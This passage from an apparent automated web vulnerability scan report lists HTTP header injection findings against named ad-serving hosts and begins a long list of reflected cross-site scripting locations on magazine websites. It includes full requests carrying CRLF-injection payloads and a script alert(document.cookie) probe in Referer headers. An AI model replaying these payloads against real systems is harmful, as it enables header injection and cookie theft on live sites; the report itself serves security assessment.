Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
DL_S: a209.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 16:43:13 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1; expires=Mon, 30-Apr-2012 08:43:14 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=9b893
01a1d42b0c5_876089-5k:xM-0; expires=Mon, 30-Apr-2012 08:43:14 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

1.35. http://amch.questionmarket.com/adsc/d876089/8/40909683/decide.php [ES cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d876089/8/40909683/decide.php

Issue detail

The value of the ES cookie is copied into the Set-Cookie response header. The payload be7bc%0d%0a63bff395090 was submitted in the ES cookie. This caused a response containing an injected HTTP header.

Request

GET /adsc/d876089/8/40909683/decide.php?&noiframe=1 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: linkjumptest=1; CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1_500004689310-8-1_500004699231-8-1; ES=be7bc%0d%0a63bff395090

Response

HTTP/1.1 200 OK
Date: Thu, 10 Mar 2011 18:24:43 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 18:24:42 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1_500004689310-8-1_500004699231-8-1_40909683-8-1; expires=Mon, 30-Apr-2012 10:24:43 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=be7bc
63bff395090_876089-4T<xM-0; expires=Mon, 30-Apr-2012 10:24:43 GMT; path=/; domain=.questionmarket.com;
Cache-Control: post-check=0, pre-check=0
Content-Length: 46
Content-Type: text/javascript

/* a208.dl - Wed Mar 09 16:56:36 EST 2011 */
;

1.36. http://amch.questionmarket.com/adscgen/st.php [code parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The value of the code request parameter is copied into the Location response header. The payload a8ca6%0d%0aab57d3e3f43 was submitted in the code parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/st.php?survey_num=876089&site=60649346&code=40909683a8ca6%0d%0aab57d3e3f43&randnum=6149086 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: linkjumptest=1; CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1_500004689310-8-1_500004699231-8-1; ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B_875649-nl:xM-0_876089-xh:xM-g

Response

HTTP/1.1 302 Found
Date: Thu, 10 Mar 2011 18:24:04 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a230.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 18:24:03 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1_500004689310-8-1_500004699231-8-1_876089-1-1; expires=Mon, 30-Apr-2012 10:24:04 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B_875649-nl:xM-0_876089-xh:xM-]/; expires=Mon, 30-Apr-2012 10:24:04 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=DART&survey_num=876089&site=8-60649346-&code=40909683a8ca6
ab57d3e3f43
Content-Length: 0
Content-Type: text/html

1.37. http://amch.questionmarket.com/adscgen/st.php [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/st.php

Issue detail

The value of the site request parameter is copied into the Location response header. The payload b4fec%0d%0a280adc6526b was submitted in the site parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/st.php?survey_num=876089&site=b4fec%0d%0a280adc6526b&code=40909683&randnum=6149086 HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com&67fb3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d360ec3665=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: linkjumptest=1; CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1_500004689310-8-1_500004699231-8-1; ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B_875649-nl:xM-0_876089-xh:xM-g

Response

HTTP/1.1 302 Found
Date: Thu, 10 Mar 2011 18:23:59 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a209.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 18:23:58 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_885679-3-1_500004689310-8-1_500004699231-8-1_876089-1-1; expires=Mon, 30-Apr-2012 10:23:59 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B_875649-nl:xM-0_876089-xh:xM->/; expires=Mon, 30-Apr-2012 10:23:59 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=DART&survey_num=876089&site=-1-b4fec
280adc6526b-&code=40909683
Content-Length: 0
Content-Type: text/html

1.38. http://amch.questionmarket.com/adscgen/sta.php [code parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/sta.php

Issue detail

The value of the code request parameter is copied into the Location response header. The payload d3db1%0d%0abd31793905f was submitted in the code parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/sta.php?survey_num=876089&site=2285373&code=d3db1%0d%0abd31793905f&ut_sys=eb HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1; ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B

Response

HTTP/1.1 302 Found
Date: Thu, 10 Mar 2011 16:39:47 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a209.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 16:39:46 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_876089-1-1; expires=Mon, 30-Apr-2012 08:39:47 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B_876089-xh:xM-0; expires=Mon, 30-Apr-2012 08:39:47 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=eb&survey_num=876089&site=8-2285373-&code=d3db1
bd31793905f
Content-Length: 33
Content-Type: text/html

/* /adsc/d876089/8/-1/randm.js */

1.39. http://amch.questionmarket.com/adscgen/sta.php [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/sta.php

Issue detail

The value of the site request parameter is copied into the Location response header. The payload 308d0%0d%0a7110d05c4d2 was submitted in the site parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/sta.php?survey_num=876089&site=308d0%0d%0a7110d05c4d2&code=4699231&ut_sys=eb HTTP/1.1
Host: amch.questionmarket.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1; ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B

Response

HTTP/1.1 302 Found
Date: Thu, 10 Mar 2011 16:39:42 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a227.dl
Set-Cookie: CS1=deleted; expires=Wed, 10-Mar-2010 16:39:41 GMT; path=/; domain=.questionmarket.com
Set-Cookie: CS1=200201823465-2-1_775684-1-1_850797-8-2_39942282-8-1_39942224-8-2_600001445811-2-1_880133-4-2_600001445818-2-1_600001445806-2-1_876089-1-1; expires=Mon, 30-Apr-2012 08:39:42 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=861369-fPdvM-0_775684-pPdvM-0_822109-Hs7xM-oSN_879999-m^RxM-a5B_876089-sh:xM-0; expires=Mon, 30-Apr-2012 08:39:42 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=eb&survey_num=876089&site=-1-308d0
7110d05c4d2-&code=4699231
Content-Length: 44
Content-Type: text/html

/* /adsc/d876089/-1/500004699231/randm.js */

1.40. http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the flv request parameter is copied into the Set-Cookie response header. The payload c6825%0d%0a63ad61cc419 was submitted in the flv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4699231~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~899~0~01020^ebAboveTheFoldDuration~899~0~01020&OptOut=0&ebRandom=0.34997580223716795&flv=c6825%0d%0a63ad61cc419&wmpv=0&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
Origin: http://www.womenshealthmag.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=8f169462-89d3-413e-9058-30f13d4035793H3030; expires=Wed, 08-Jun-2011 12:23:57 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=c6825
63ad61cc419&RES=128&WMPV=0; expires=Wed, 08-Jun-2011 12: 23:57 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Thu, 10 Mar 2011 17:23:57 GMT
Connection: close
Content-Length: 0

1.41. http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the res request parameter is copied into the Set-Cookie response header. The payload b49be%0d%0a4750443b61 was submitted in the res parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4699231~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~899~0~01020^ebAboveTheFoldDuration~899~0~01020&OptOut=0&ebRandom=0.34997580223716795&flv=10.2154&wmpv=0&res=b49be%0d%0a4750443b61 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
Origin: http://www.womenshealthmag.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=FLV=10.2154&RES=b49be
4750443b61&WMPV=0; expires=Wed, 08-Jun-2011 12: 23:58 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Thu, 10 Mar 2011 17:23:57 GMT
Connection: close
Content-Length: 0

1.42. http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the wmpv request parameter is copied into the Set-Cookie response header. The payload 4d71c%0d%0a42293c12f4c was submitted in the wmpv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4699231~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~899~0~01020^ebAboveTheFoldDuration~899~0~01020&OptOut=0&ebRandom=0.34997580223716795&flv=10.2154&wmpv=4d71c%0d%0a42293c12f4c&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://www.womenshealthmag.com/?cm_sp=Network%20Banner-_-WH-_-Rodale.com
Origin: http://www.womenshealthmag.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: eyeblaster=BWVal=1402&BWDate=40612.379687&debuglevel=&FLV=10.2154&RES=128&WMPV=4d71c
42293c12f4c; expires=Wed, 08-Jun-2011 12: 23:57 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Thu, 10 Mar 2011 17:23:57 GMT
Connection: close
Content-Length: 0

2. Cross-site scripting (reflected) previous
There are 1086 instances of this issue:

http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [adurl parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [adurl parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [ai parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [client parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [num parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sig parameter]
http://ad.doubleclick.net/adi/N5295.134426.GOOGLEDISPLAYNETWOR/B5081081.19 [sz parameter]
http://ad.turn.com/server/pixel.htm [fpid parameter]
http://api.bizographics.com/v1/profile.redirect [api_key parameter]
http://button.topsy.com/widget/retweet-json [callback parameter]
http://button.topsy.com/widget/retweet-json [id parameter]
http://c.brightcove.com/services/messagebroker/amf [3rd AMF string parameter]
http://ds.addthis.com/red/psi/sites/www.prevention.com/p.json [callback parameter]
http://recipes.rodale.com/homepage.aspx [name of an arbitrarily supplied request parameter]
http://remedies.rodale.com/favicon.ico [REST URL parameter 1]
http://sitelife.prevention.com/ver1.0/Summary/SummaryArticlesMostCommented [plckElementId parameter]
http://sitelife.prevention.com/ver1.0/Summary/SummaryArticlesMostRecommended [plckElementId parameter]
http://sitelife.prevention.com/ver1.0/Summary/SummaryBlogsRecent [plckElementId parameter]
http://sitelife.prevention.com/ver1.0/Summary/SummaryBlogsRecentPosts [plckElementId parameter]
http://sitelife.runnersworld.com/ver1.0/Summary/SummaryBlogsRecentPosts [plckElementId parameter]
http://video.bicycling.com/decor/javascript/elements.js [REST URL parameter 1]
http://video.bicycling.com/decor/javascript/magnify_pipeline.js [REST URL parameter 1]
http://video.bicycling.com/decor/javascript/magnify_stats.js [REST URL parameter 1]
http://video.bicycling.com/decor/live/transparent.gif [REST URL parameter 1]
http://video.bicycling.com/decor/track/dot.gif [REST URL parameter 1]
http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [REST URL parameter 1]
http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [REST URL parameter 2]
http://video.bicycling.com/embed/player/C5QKZB153SRSPSH2 [name of an arbitrarily supplied request parameter]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 1]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 2]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 4]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 4]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 5]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 5]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [REST URL parameter 6]
http://video.bicycling.com/embed/player/container/1075/949/C5QKZB153SRSPSH2 [referrer parameter]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 1]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 2]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 4]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 4]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 5]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 5]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [REST URL parameter 6]
http://video.bicycling.com/embed/player/container/298/275/C5QKZB153SRSPSH2 [referrer parameter]
http://video.bicycling.com/favicon.ico [REST URL parameter 1]
http://video.bicycling.com/services/usage_request [REST URL parameter 1]
http://video.bicycling.com/services/usage_request [REST URL parameter 2]
http://www.menshealth.com/cda/expertlandingpage.do [site parameter]
http://www.menshealth.com/cda/expertlandingpage.do [site parameter]
http://www.menshealth.com/cda/expertoverview.do [site parameter]
http://www.menshealth.com/cda/expertoverview.do [site parameter]
http://www.menshealth.com/cda/featured_video.do [site parameter]
http://www.menshealth.com/cda/featured_video.do [site parameter]
http://www.menshealth.com/cda/toolsandquizzes_index.do [category parameter]
http://www.menshealth.com/cda/toolsandquizzes_index.do [category parameter]
http://www.menshealth.com/cda/toolsandquizzes_index.do [topic parameter]
http://www.menshealth.com/downloads/all/ [cm_sp parameter]
http://www.menshealth.com/downloads/all/ [download_type parameter]
http://www.menshealth.com/downloads/all/ [download_type parameter]
http://www.menshealth.com/downloads/all/ [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/downloads/fitness/ [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/downloads/sex-and-relationships/ [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/fitness/cardio-activities/recent-10 [REST URL parameter 2]
http://www.menshealth.com/fitness/getting-started/recent-10 [REST URL parameter 2]
http://www.menshealth.com/fitness/muscle-building/recent-10 [REST URL parameter 2]
http://www.menshealth.com/fitness/sports-injuries/recent-10 [REST URL parameter 2]
http://www.menshealth.com/mhlists/Best_and_Worst_Cities_for_Men_2010/ [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/mhlists/change_your_workout/ [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/mhlists/lose_weight/index.php [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/mhlists/sculpt_rock_hard_abs/index.php [name of an arbitrarily supplied request parameter]
http://www.menshealth.com/mhlists/women_s_secrets/ [name of an arbitrarily supplied request parameter]
http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/makeup/bobbi.brown [REST URL parameter 5]
http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/makeup/bobbi.brown [REST URL parameter 6]
http://www.prevention.com/cda/categorypage.do [category parameter]
http://www.prevention.com/cda/categorypage.do [category parameter]
http://www.prevention.com/cda/categorypage.do [category parameter]
http://www.prevention.com/cda/categorypage.do [channel parameter]
http://www.prevention.com/cda/categorypage.do [channel parameter]
http://www.prevention.com/cda/categorypage.do [channel parameter]
http://www.prevention.com/cda/categorypage.do [channel parameter]
http://www.prevention.com/cda/channelpage.do [channel parameter]
http://www.prevention.com/cda/channelpage.do [channel parameter]
http://www.prevention.com/cda/channelpage.do [channel parameter]
http://www.prevention.com/cda/channelpage.do [channel parameter]
http://www.prevention.com/cda/newslettersignup.do [source parameter]
http://www.prevention.com/cda/newslettersignup.do [source parameter]
http://www.prevention.com/cda/toolfinder.do [channel parameter]
http://www.prevention.com/cda/toolfinder.do [channel parameter]
http://www.prevention.com/cda/toolfinder.do [channel parameter]
http://www.prevention.com/cda/toolfinder.do [channel parameter]
http://www.prevention.com/cda/toolfinder.do [name of an arbitrarily supplied request parameter]
http://www.prevention.com/cda/toolfinder.do [tf_type parameter]
http://www.prevention.com/cda/toolfinder.do [tf_type parameter]
http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 3]
http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 3]
http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 4]
http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 5]
http://www.prevention.com/health/cook/everyday-recipes/healthy-recipes-quick-and-easy-ways-to-use-pineapple/article/9a9b65680a90e210VgnVCM10000030281eac____ [REST URL parameter 6]
http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 3]
http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 3]
http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 4]
http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 5]
http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 6]
http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 3]
http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 3]
http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 4]
http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 5]
http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 6]
http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 3]
http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 3]
http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 4]
http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 5]
